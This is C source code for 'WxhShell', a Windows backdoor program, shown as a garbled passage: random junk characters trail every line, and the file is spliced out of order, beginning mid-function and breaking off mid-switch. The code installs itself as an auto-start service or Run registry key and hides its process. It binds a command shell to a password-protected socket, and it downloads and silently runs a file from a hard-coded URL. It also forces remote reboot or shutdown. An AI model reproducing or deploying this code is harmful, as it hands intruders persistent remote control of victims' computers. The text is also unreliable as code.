    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2yFXX9!@  
    else { 4/rd r80  
    closesocket(wsh); n<x NE %  
    ExitThread(0); 8+b ?/Rn0  
    } >H ,t^i}@  
    break; i n^Rf` "  
    } x4HVB  
  // 获取shell %mda=%Yn  
  case 's': { x7s75  
    CmdShell(wsh); $jDp ^ -  
    closesocket(wsh);  ?2g\y@  
    ExitThread(0); !7:~"kk  
    break; pFu3FUO*;  
  } mxpncM=q  
  // 退出 x{B%TM-Ey  
  case 'x': { ">? y\#O A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mh4NZ @;  
    CloseIt(wsh); #hBDOXHPf  
    break; qP"<vZ  
    } *+E9@r=HF  
  // 离开 D\:~G}M  
  case 'q': { sf|[oD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TV>UD q  
    closesocket(wsh); 8^H <dR  
    WSACleanup(); U[S#axak  
    exit(1); 7@.UkBOx  
    break; O1nfz>L`  
        } {$<X\\&r  
  } >,8DwNuq  
  } #nL&x3  
wHQyMq^  
  // 提示信息 |7jUf$Q\p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l6X\.oI  
} !5~{?sr>  
  } 6m$,t-f0b  
nl7=Nhh  
  return; !V =s^8nj  
} 07T"alXf:A  
&oWdBna"_  
// shell模块句柄 && }'  
int CmdShell(SOCKET sock) ACg5"  
{ T[iwP~l  
STARTUPINFO si; |zV-a2K%J  
ZeroMemory(&si,sizeof(si)); 3 *o l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ny;(1N|&3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &b 2Vt  
PROCESS_INFORMATION ProcessInfo; (~r"N?`  
char cmdline[]="cmd"; o3hsPzOQx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B6gSt3w.  
  return 0; +G3&{#D ?  
} 1RtbQ{2F;  
a& Ti44a[  
// 自身启动模式 rZDmZm?=  
int StartFromService(void) xQ `>\f  
{ t` R#pQ  
typedef struct  /{ .  
{ bP`.teO\  
  DWORD ExitStatus; <Gy)|qpK[  
  DWORD PebBaseAddress; 0R,?$qM\  
  DWORD AffinityMask; VP$`.y  
  DWORD BasePriority; 'm@0[i  
  ULONG UniqueProcessId; "28b&pm  
  ULONG InheritedFromUniqueProcessId; d#N<t`  
}   PROCESS_BASIC_INFORMATION; bBkF,`/f$  
:[iWl8  
PROCNTQSIP NtQueryInformationProcess; Ly?gpOqu5  
i/nA(%_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AepAlnI@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9S0I<<m  
r*K[,  
  HANDLE             hProcess; lPh>8:qFM  
  PROCESS_BASIC_INFORMATION pbi; qV$\.T>x  
fA u^%jiU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \: H&.VQ"  
  if(NULL == hInst ) return 0; "CdL?(  
_5vAn t*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); We#u-#k_O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [N}:Di,S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ) 5r*2I  
uL^Qtmm>M  
  if (!NtQueryInformationProcess) return 0; G"bItdb  
zV\\T(R)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KZ/U2.{O<  
  if(!hProcess) return 0; p/B&R@%  
5!r?U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !M&L<0b:7e  
cn$E?&-  
  CloseHandle(hProcess); \4q% n  
(yv&&Jc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O_#Ag K<A  
if(hProcess==NULL) return 0; DUc - D==  
Iaf"j 2B  
HMODULE hMod; }vkrWy^  
char procName[255]; |->{NU Z{  
unsigned long cbNeeded; oagxTFh8~  
q/Dc*Qn m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < @9p|[!  
=PiDZS^"  
  CloseHandle(hProcess); HTK79 +  
TY[1jW~{r  
if(strstr(procName,"services")) return 1; // 以服务启动 g&y'#,'Q~,  
q;a`*gX^  
  return 0; // 注册表启动 "8wRx Dr+  
} jN:!V t  
A.<HOx&#  
// 主模块 4oT1<n`r+  
int StartWxhshell(LPSTR lpCmdLine) Paz yY   
{ xQX,1NbH5  
  SOCKET wsl; jk2h"):B>  
BOOL val=TRUE; $v?+X20  
  int port=0; 0 !yvcviw  
  struct sockaddr_in door; XJ~_FiB  
`y; s1nL  
  if(wscfg.ws_autoins) Install();  H  
~d :Z |8  
port=atoi(lpCmdLine); s7 IaU|m  
!8^:19+  
if(port<=0) port=wscfg.ws_port; je1f\N45  
*R.Q!L v+  
  WSADATA data; {dV#"+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MhN)ZhsC  
rK W<kQT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PDaHY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eOa:%{Kj  
  door.sin_family = AF_INET; :B?XNo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oR>o/$z$)g  
  door.sin_port = htons(port); ;/#E!Ja/ u  
YB/A0J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T_bk%  
closesocket(wsl); kVk^?F  
return 1; 5K13    
} 8Czy<}S<G  
gNJ,Bj Pd  
  if(listen(wsl,2) == INVALID_SOCKET) { #/zPAcV:  
closesocket(wsl);  &o$E1;og  
return 1; euO!+9p  
} Hzs]\%"  
  Wxhshell(wsl); |><hdBQXX<  
  WSACleanup(); = R|?LOEK+  
)=TD}Xb  
return 0; /NCEZ@2BN,  
j?D=Ij"o  
} [$)C(1zY  
[@Y<:6  
// 以NT服务方式启动 deSrs:.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m`!C|?hu  
{ bj4cW\b(  
DWORD   status = 0; _y&m4Vuu  
  DWORD   specificError = 0xfffffff; !4cR&@[  
E\Hhi.-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {"l_x]q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z.+-MNWV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZzPlIl}\  
  serviceStatus.dwWin32ExitCode     = 0; <d~P;R(@  
  serviceStatus.dwServiceSpecificExitCode = 0; DytH } U"  
  serviceStatus.dwCheckPoint       = 0; ~TC z1UWV  
  serviceStatus.dwWaitHint       = 0; U2z1HIs  
!0:uM)_k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tL(B gku9  
  if (hServiceStatusHandle==0) return; ,:UoE  
Z-;<R$  
status = GetLastError(); <@xp. Y  
  if (status!=NO_ERROR) AVyO5>w  
{ v;" [1w}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vt}+d StUm  
    serviceStatus.dwCheckPoint       = 0; 8qL*Nf  
    serviceStatus.dwWaitHint       = 0; dABmK;  
    serviceStatus.dwWin32ExitCode     = status; sh(G{Yz@  
    serviceStatus.dwServiceSpecificExitCode = specificError; #?.Yc%5B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yS0YWqv]6@  
    return; @O9.~6  
  } laN:H mR8  
7UvfXzDNC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PeGL Rbx34  
  serviceStatus.dwCheckPoint       = 0; )O~LXK=b  
  serviceStatus.dwWaitHint       = 0; Iih~W&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [<P(S~J  
} P3 se"pP  
f3Ior.n(  
// 处理NT服务事件,比如:启动、停止 P.mz$M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -o*IJQ_  
{ T8E=}!68w}  
switch(fdwControl) uTGd{w@]0|  
{ ]kA0C~4   
case SERVICE_CONTROL_STOP: [mph iH/  
  serviceStatus.dwWin32ExitCode = 0; wjW>#DE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T6MlKcw,t  
  serviceStatus.dwCheckPoint   = 0; @sRRcP~  
  serviceStatus.dwWaitHint     = 0; 7?<.L  
  { ?_q e 2R.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `oP :F[B  
  } ?#"rI6  
  return; L A-H  
case SERVICE_CONTROL_PAUSE:  {h/[!I `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {pMbkA Q@  
  break; "mc/fp  
case SERVICE_CONTROL_CONTINUE: ($EA/|z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t98t&YUpm  
  break; s*{l}~fPkW  
case SERVICE_CONTROL_INTERROGATE: Pn|A>.)z  
  break; i-[ic!RnKj  
}; >2l1t}"\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xh"JyDTj3  
} NfizX!w&  
)*@n G$i99  
// 标准应用程序主函数 3wK{?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }}y$T(:l  
{ X@KF}x's  
 " Mzb  
// 获取操作系统版本 c}GmS@  
OsIsNt=GetOsVer(); k4jZu?\C]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wr H7tz  
 4b]/2H  
  // 从命令行安装 \U $'3M  
  if(strpbrk(lpCmdLine,"iI")) Install(); p2 u*{k{  
9}4P%>_  
  // 下载执行文件 ! iuDmL  
if(wscfg.ws_downexe) { Qa@b-v'by  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iko1%GJ1Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); U_ n1QU  
} KdI X`  
v3!oY t:l  
if(!OsIsNt) { 'fO[f}oa_.  
// 如果时win9x,隐藏进程并且设置为注册表启动 0o~? ]C  
HideProc(); KDr?<"2L  
StartWxhshell(lpCmdLine); 9TRS#iVL+*  
} %suSZw`  
else 6L[Yn?;  
  if(StartFromService()) u;p.:{'  
  // 以服务方式启动 o))z8n?b  
  StartServiceCtrlDispatcher(DispatchTable); m  "'  
else /H.w0fu&.S  
  // 普通方式启动 94 58.!3  
  StartWxhshell(lpCmdLine); !h3 $C\  
d-Vttxa6  
return 0; c,nE@~ul2  
} Hx[YHu KL^  
ax$ashFO/!  
~< %%n'xmm  
l,j7I3&~%  
=========================================== KvENH=oh  
J'c]':U  
u6^cLQO+  
iJ n<  
F]]1>w*/0  
?'ID7mL  
" &#!5I;3EN  
EH{m~x[Ei  
#include <stdio.h> ~L\KMB/9e=  
#include <string.h> #M kXio; h  
#include <windows.h> -X+G_rY  
#include <winsock2.h> %(lr.9.]H  
#include <winsvc.h> R-8>,  
#include <urlmon.h> \]RPxM:_>  
6;s.%W  
#pragma comment (lib, "Ws2_32.lib") PyQt8Qlz  
#pragma comment (lib, "urlmon.lib") UhKC:<%  
xgoG>~F  
#define MAX_USER   100 // 最大客户端连接数 | 4/'~cYV  
#define BUF_SOCK   200 // sock buffer jb;!"HC  
#define KEY_BUFF   255 // 输入 buffer ]@E_Hx{S  
mQEE?/xX;  
#define REBOOT     0   // 重启 {*utke]}*  
#define SHUTDOWN   1   // 关机 n N.6?a  
BUcPMF%\y:  
#define DEF_PORT   5000 // 监听端口 .*\TG/x  
.Z%y16)T  
#define REG_LEN     16   // 注册表键长度 eC`} oEz  
#define SVC_LEN     80   // NT服务名长度 nE.w  
4WCWu}  
// 从dll定义API 1 ; _tu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7<FI[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [7x,&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #dy z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ED0\k $  
2ZTz{|y  
// wxhshell配置信息 Bgb~Tz'  
struct WSCFG { KnL-qc  
  int ws_port;         // 监听端口 e4:,W+g,9  
  char ws_passstr[REG_LEN]; // 口令 ay~c@RXW  
  int ws_autoins;       // 安装标记, 1=yes 0=no {"{kWbXZ  
  char ws_regname[REG_LEN]; // 注册表键名 matW>D;J  
  char ws_svcname[REG_LEN]; // 服务名 h-r\ 1{Q1]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zo$ ,{rl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t Qo) *z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 = iJfz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xvo""R/g8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pJ8;7u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bY` b3  
& Xh8j^p'  
}; bloe|o!  
2gP^+.  
// default Wxhshell configuration `^ FAD   
struct WSCFG wscfg={DEF_PORT, k;EG28   
    "xuhuanlingzhe", r?cDyQE  
    1, K4w %XVaH  
    "Wxhshell", C8ss6+k&  
    "Wxhshell", 3=YK" 5J  
            "WxhShell Service", q8DSKi  
    "Wrsky Windows CmdShell Service", ,uz+/K%OA5  
    "Please Input Your Password: ", /G[2   
  1, \ a}6NIo  
  "http://www.wrsky.com/wxhshell.exe", 5e)2Jt:  
  "Wxhshell.exe" ;B Lw?kf  
    }; GSlvT:k  
[=3f:>ssm  
// 消息定义模块 >~%!#,C(|U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $MW-c*5a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =Sjr*)<@j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GFA D  
char *msg_ws_ext="\n\rExit."; W^U6O&-K  
char *msg_ws_end="\n\rQuit."; kdmmfw  
char *msg_ws_boot="\n\rReboot..."; :Q\Es:y  
char *msg_ws_poff="\n\rShutdown..."; YoC{ t&rY  
char *msg_ws_down="\n\rSave to "; Cn\5Vyrl  
h>0R!Rl8  
char *msg_ws_err="\n\rErr!"; op!ft/Yyb  
char *msg_ws_ok="\n\rOK!"; :vsBobiJ  
|:qaF  
char ExeFile[MAX_PATH]; Tt^PiaS!  
int nUser = 0; /NE<?t N  
HANDLE handles[MAX_USER]; gc5u@(P"  
int OsIsNt; ;Gf,I1d}{  
<V`1?9c7D1  
SERVICE_STATUS       serviceStatus; sY|by\-c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |4E5x9J  
WA'4y\N  
// 函数声明 UQ X.  
int Install(void); *yx5G-#?  
int Uninstall(void); YJ6y]r K2,  
int DownloadFile(char *sURL, SOCKET wsh); v3zd>fDnRp  
int Boot(int flag); QmHj=s:x\  
void HideProc(void); v w.rkAGY  
int GetOsVer(void); yM_ta '^$  
int Wxhshell(SOCKET wsl); .$o0$`}  
void TalkWithClient(void *cs); %R?B=W7 ;Q  
int CmdShell(SOCKET sock); K[,d9j`^  
int StartFromService(void); _1>Xk_  
int StartWxhshell(LPSTR lpCmdLine); adCTo  
"c+j2f'f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jRn5)u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ShoU m[  
N*^iOm]Y  
// 数据结构和表定义 ?$chO|QY  
SERVICE_TABLE_ENTRY DispatchTable[] = zcqv0lM '  
{ [ GcH4E9r  
{wscfg.ws_svcname, NTServiceMain}, aLo^f= S  
{NULL, NULL} N<d0C  
}; 0\B31=N(  
# 1,"^k^  
// 自我安装 0c-.h  
int Install(void) A'zXbp:%  
{ ?'xwr )v  
  char svExeFile[MAX_PATH]; (u_?#PjX  
  HKEY key; XJ$mRh0`K  
  strcpy(svExeFile,ExeFile); m2{DLw".  
,ORwMZtw{H  
// 如果是win9x系统,修改注册表设为自启动 J2_~iC&;s  
if(!OsIsNt) { B,x ohT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Fh#CI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bmid;X|  
  RegCloseKey(key); w4AA4u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bd++G'FZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t^k^e{,q#  
  RegCloseKey(key); z~m{'O`  
  return 0; Q  *]d[  
    } l* ap$1'  
  } g +RgDt9  
} ^CBc~um2  
else { 9Z[EzKd<~'  
Y^Y1re+}  
// 如果是NT以上系统,安装为系统服务 w'r?)WW$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); av8\?xmo.$  
if (schSCManager!=0) mm1fG4 *%  
{ t| cL!  
  SC_HANDLE schService = CreateService If*+yr|  
  ( qH=<8Iu  
  schSCManager, )01,3J>#  
  wscfg.ws_svcname, ^ UDNp.6k  
  wscfg.ws_svcdisp, u4KP;_,m  
  SERVICE_ALL_ACCESS, #$dEg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !T|q/ri  
  SERVICE_AUTO_START, X]1Q# $b  
  SERVICE_ERROR_NORMAL, }Sx+:N*  
  svExeFile, uHQf<R$:  
  NULL, W5SCm(QS5  
  NULL, vyA `Z1  
  NULL, hI#1Ybl  
  NULL, }x~1w:z Hd  
  NULL  Lw1aG;5  
  ); wCitQ0?  
  if (schService!=0) NZQl#ZJH:  
  { 2zPO3xL,  
  CloseServiceHandle(schService); =i1+t"=  
  CloseServiceHandle(schSCManager); a5dc#f Kf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o0)k5P~<~  
  strcat(svExeFile,wscfg.ws_svcname); Lu.C+zgQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @ L=dcO{r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K2o\+t  
  RegCloseKey(key); US'rhSV  
  return 0; Chs#}=gzi  
    } w9aLTLv-  
  } B)`@E4i  
  CloseServiceHandle(schSCManager); N?3BzI%?  
} AzZb0wW6p  
} q(XO_1W0V  
oro^'#ki  
return 1; DkA@KS1Dq  
} ,7/F?!G!J  
s#* DY  
// 自我卸载 %+bw2;a6  
int Uninstall(void) ytyX:e"  
{ P$H9  
  HKEY key; isR)^fI|  
v?L`aj1ox  
if(!OsIsNt) { %2ZWSQD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [dIlt"2fV  
  RegDeleteValue(key,wscfg.ws_regname); *RllKPY)  
  RegCloseKey(key);  KB5<)[bs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9`FPV`/  
  RegDeleteValue(key,wscfg.ws_regname); t,IQ|B&0  
  RegCloseKey(key); Tya[6b!8  
  return 0; XIRvIwO  
  } mzbMX <  
} K9=f`JI9  
} INF}~DN]  
else { _qp^+  
VSDG_:!K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JBMJR  
if (schSCManager!=0) "V3f"J?  
{ wgcKeTD9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &57s//PrX  
  if (schService!=0) ]b&O#D9  
  { #HyE-|_C  
  if(DeleteService(schService)!=0) { ;Ob`B@!=b  
  CloseServiceHandle(schService); qZB}}pM#  
  CloseServiceHandle(schSCManager); grZ?F~P8  
  return 0; Ch0t'  
  } gCP f1z  
  CloseServiceHandle(schService); ZQN%!2  
  } N#&/d nV  
  CloseServiceHandle(schSCManager); zy\R>4i'#Q  
} "eH.<&  
} P>wTp)  
*V[6ta'  
return 1; *R_mvJlT  
} ,1ceNF#oL  
@E !`:/k  
// 从指定url下载文件 Hq!|(  
int DownloadFile(char *sURL, SOCKET wsh) j1i<.,0g  
{ &Ndq ^!e  
  HRESULT hr; d3&l!DoX  
char seps[]= "/"; kNC]q,ljt5  
char *token; aQ#6PO7.Z  
char *file; {Q/_I@m].  
char myURL[MAX_PATH]; EF5:$#  
char myFILE[MAX_PATH]; X775j"<d  
i"GCm`  
strcpy(myURL,sURL); 9*CJWS;  
  token=strtok(myURL,seps); 9 lH00n+'  
  while(token!=NULL) TYu(;~   
  { Q$:>yveR*  
    file=token; lEr_4!h$rZ  
  token=strtok(NULL,seps); 586lN22xM  
  } ?5Q_G1H&  
Br}0dha3E  
GetCurrentDirectory(MAX_PATH,myFILE); u8N"i),  
strcat(myFILE, "\\"); Xd@_:ds  
strcat(myFILE, file); " LkI'>3}  
  send(wsh,myFILE,strlen(myFILE),0); 0`~#H1TK  
send(wsh,"...",3,0); 0~=>:^H'`q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JL:\\JT.  
  if(hr==S_OK) ,k+F8{Q.  
return 0; ?:c:D5N  
else BW5!@D2  
return 1; 1 R,?kUa  
%O02xr=  
} 8iXt8XY3  
$e/[!3CASP  
// 系统电源模块 kx6-8j3gD7  
int Boot(int flag) /;V:<mekf  
{ b6ui&Y8z  
  HANDLE hToken; cM;,nX%/  
  TOKEN_PRIVILEGES tkp; CMviR<.  
 Jknit  
  if(OsIsNt) { bc%N !d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c?7 Wjy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OqlP_^Zz7p  
    tkp.PrivilegeCount = 1; BQF7S<O+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "iPX>{'En  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r~Vb*~U"  
if(flag==REBOOT) { b X'.hHR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "[Hn G(gA  
  return 0; x2.YEuSMC  
} yl UkVr   
else { rw%1>]os  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mx_O'D  
  return 0; 54>gr1B  
} z z2'h>  
  } WOR H4h9  
  else { wpV)y Q^  
if(flag==REBOOT) { vi~NfD@s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cy2)M(RW  
  return 0; .e1Yd8  
} k^ e;V`(  
else { lL6W:Fq@(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y9ipy_@_?  
  return 0; bO6LBSZx]  
} < NlL,  
} m={TBV,L  
~X<Ie9m1x  
return 1; Cs?[   
} Lf0Wc'9{  
I6.}r2?;A  
// win9x进程隐藏模块 -0:Equ?pz  
void HideProc(void) Eq/oq\(/6  
{ Tt+E?C%Y  
[z> Ya-uz7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jQ&82X%m  
  if ( hKernel != NULL ) Msl8o c  
  { tEjT$`6hp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E .%_i8s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6o=Q;Mezl  
    FreeLibrary(hKernel); _n=,H  
  } -E,p[Sp  
rls\3 R(jt  
return; kCvf-;b  
} "c*&~GSE4  
r"_SL!,^  
// 获取操作系统版本 (^mpb  
int GetOsVer(void) Z;[f,Oj  
{ =VvQ 2Y0h8  
  OSVERSIONINFO winfo; #-9@*FFL,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T[+~-D @  
  GetVersionEx(&winfo); ["ML&2|o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9ELRn@5.  
  return 1; Io\tZXB  
  else -H9WwFk  
  return 0; u7}C):@H  
} ]m@p? A$  
LR Dj!{k{  
// 客户端句柄模块 ' i<}/l  
int Wxhshell(SOCKET wsl) mz?1J4rt  
{ Fa-F`U@h(m  
  SOCKET wsh; 1 ILA Utf)  
  struct sockaddr_in client; }KFM8CbS  
  DWORD myID; g ^4<ve  
(M nK \^Y  
  while(nUser<MAX_USER) qfa[KD)!aB  
{ o7 1f<&1  
  int nSize=sizeof(client); M TOZ:b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *wu|(t_ A  
  if(wsh==INVALID_SOCKET) return 1; C[s='v~}  
C*&FApG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E)]RQ~jY?  
if(handles[nUser]==0) >@uFye$  
  closesocket(wsh); B0$.oavC  
else bC0DzBnM;  
  nUser++; <0!)}O  
  } ,;~@t:!c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E%vT(Kz  
I W5N^J  
  return 0; d6+{^v$#  
} 5~\GAjf  
%W,V~kb  
// 关闭 socket {bMOT*X=A  
void CloseIt(SOCKET wsh) :,1 kSM%r  
{ ^zVW 3 Y q  
closesocket(wsh); >v1ajI>O&{  
nUser--; idSc#n22  
ExitThread(0); yYn7y1B  
} %w#8t#[,6  
c'&\[b(m  
// 客户端请求句柄 #B &%Y6E5  
void TalkWithClient(void *cs) 9f_Qs4  
{ qJYEsI2M  
`z~L0h  
  SOCKET wsh=(SOCKET)cs; 8;Eg>_cL:  
  char pwd[SVC_LEN]; b2G1@f.U  
  char cmd[KEY_BUFF]; y.+!+4Mg|  
char chr[1]; Tv /?-`Y  
int i,j; 8Q\ T,C  
K\y W{y1  
  while (nUser < MAX_USER) { DE!P[$J  
|eEXCn3{  
if(wscfg.ws_passstr) { f/3rcYR;y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +puF0]TR,i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `&5_~4T7  
  //ZeroMemory(pwd,KEY_BUFF); <-O^ol,fX  
      i=0; eg(1kDMpn  
  while(i<SVC_LEN) { <jIuVX  
{^_K  
  // 设置超时 A? T25<}  
  fd_set FdRead; v/~Lfi  
  struct timeval TimeOut; FN"Ye*d  
  FD_ZERO(&FdRead); -i*]Sgese  
  FD_SET(wsh,&FdRead); /j;HM[  
  TimeOut.tv_sec=8; erdA ?  
  TimeOut.tv_usec=0; WI\jm&H r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _8&a%?R@W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EVW\Z 2N.  
2b^E8+r9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ">x"BP  
  pwd=chr[0]; JE ''Th}  
  if(chr[0]==0xd || chr[0]==0xa) { ^+rI=c 0  
  pwd=0; S- JD}+ 9  
  break; 8;5@5Au  
  } `C>De4nT@  
  i++; ]y~"M  
    } H.#zbKj  
!A'3Mw\Nm  
  // 如果是非法用户,关闭 socket f=T&$tZ<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NEff`mwm5)  
} X^7n/|%*.  
3eR c>^wh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0^mCj<g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N.dcQQ_iS  
RLR\*dL1  
while(1) { !T RU  
y[d>7fcf  
  ZeroMemory(cmd,KEY_BUFF); KkyZd9  
'QQa :3<x  
      // 自动支持客户端 telnet标准   WWN2  
  j=0; l?:S)[:  
  while(j<KEY_BUFF) { s>ohXISB[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t 4>\ ;  
  cmd[j]=chr[0]; %eW2w@8]  
  if(chr[0]==0xa || chr[0]==0xd) { ^17i98w  
  cmd[j]=0; 't'2z  
  break; o>e-M  
  } yt1dYF0Xq  
  j++; Q+; N(\  
    } oN&U@N/>aU  
L)9uBdF  
  // 下载文件 ((T6z$:hA  
  if(strstr(cmd,"http://")) { bEli!N$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #@}wl  
  if(DownloadFile(cmd,wsh)) \vF*n Z5/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aqKrf(Rv  
  else rHJtNN8$k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YWhp4`m  
  } sjG@4Or  
  else { L^e%oQ>s  
k@^T<Ci  
    switch(cmd[0]) { UqNUP+K  
  Nc:0opPM  
